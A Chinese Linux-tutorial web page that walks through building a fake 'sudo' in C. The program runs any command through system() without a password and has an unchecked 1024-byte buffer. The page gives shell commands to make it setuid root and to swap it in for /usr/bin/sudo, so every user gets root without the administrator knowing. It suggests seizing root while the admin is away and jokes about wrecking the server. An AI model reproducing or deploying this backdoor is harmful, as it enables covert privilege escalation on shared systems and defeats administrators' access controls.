歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux基礎 >> Linux教程 >> 利用system函數竊取Linux系統超級特權

利用system函數竊取Linux系統超級特權

日期:2017/2/28 16:19:42   编辑:Linux教程

大家都知道,在linux家族中最近幾年出了個能干的Ubuntu,它裡面有個命令特別與眾不同--sudo這個命令確實給普通用戶提供了很大的方便。可是每次執行sudo的時候都需要有個passwd輸入。

要知道程序員是很懶滴,每次輸入一串亂踢八糟的東東真滴很郁悶,特別是當輸入幾次都出錯滴時候。這時候就應該想到去看看sudo這個家伙是怎麼搞的啦。於是:

$cat /usr/bin/sudo

結果出來一大堆亂碼,哦,竟然是二進制滴,悲劇了

想到ISO C給了一個很好用的東東 system() 。有個這個東東大家可能很快就能明白我要干什麼了,呵呵。是了,自己搞個sudo。我系統原來的干掉。這樣,呵呵,特權從此洩露。所有用戶都是超級管理員,而管理員老先生還不知道發生了什麼,盡管憧憬吧。不過,至少你得有一次接觸到超級用戶權限的機會。呵呵,這個好辦,趁他上廁所。呵呵。邪惡……

下面將我滴sudo跟大家分享分享:

sudo.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc ,char * argv[]){
char commandline[1024];
char * ptr = commandline;

if(argc < 2){
fputs("Usage: sudo commandline arg0 ...\n",stderr);
exit(1);
}
for(int i = 1; argv[i] != NULL;i++){
for(int j= 0;j < strlen(argv[i]);j++){

  /*這裡考慮標准IO庫行緩沖最大值1024的緣故沒有判斷緩沖區溢出的情景,如果要在重要場合應用這個程序

    可以在此添加溢出判斷*/

*ptr++ = argv[i][j];
}
*ptr++ = ' ';
}
*ptr++ = '\0';

if(system(commandline) < 0){
fputs("Err: in system!",stderr);
exit(2);
}
return 0;
}

編譯:

$gcc -std=c99 sudo.c -o sudo

得到了sudo這個赝品,呵呵

接下來就是竊取超級特權的瞬間了,看好了

$sudo chown root ./sudo

$sudo chmod u+s ./sudo

$sudo chmod o+x ../sudo

替換系統sudo(這個好像有點太邪惡了,呵呵)

$sudo cp /usr/bin/sudo /usr/bin/sudo.bak

$sudo cp ./sudo /usr/bin/sudo

大功告成!!!!!!!!!!!!!!!!!!!!!!!!!!

試試你的新sudo

如果不想這麼邪惡,可以將我們這個sudo放在自己的目錄下,編輯登錄腳本,使得我們的路徑放置在系統那個sudo的前面,這樣,平常就用這個強大的赝品sudo,有必要用原來那個sudo的時候就用$/usr/bin/sudo yourcommandline

這樣滴話,就不會惹惱管理員了,自己也能安靜些,其他用戶沒有執行你的路徑的權限,也是訪問不到你這個強大的sudo滴,呵呵

注意:如果在上面的介紹中替換了系統的sudo,可以用下面的命令找回:

$cd youranothersudopath

$./sudo cp /usr/bin/sudo.bak /usr/bin/sudo

OK,又恢復原樣。

呵呵呵呵呵額呵呵。盡情的享受吧,哪天郁悶了把服務器給 干了,呵呵

後記:貌似這個sudo不會造成系統的重大問題,因為好多任務都會檢查實際用戶ID,這樣的話即使有設置用戶Id標識,但是還是不能通過部分檢查,可見(Unix)linux設計的是多麼好Y。

Copyright © Linux教程網 All Rights Reserved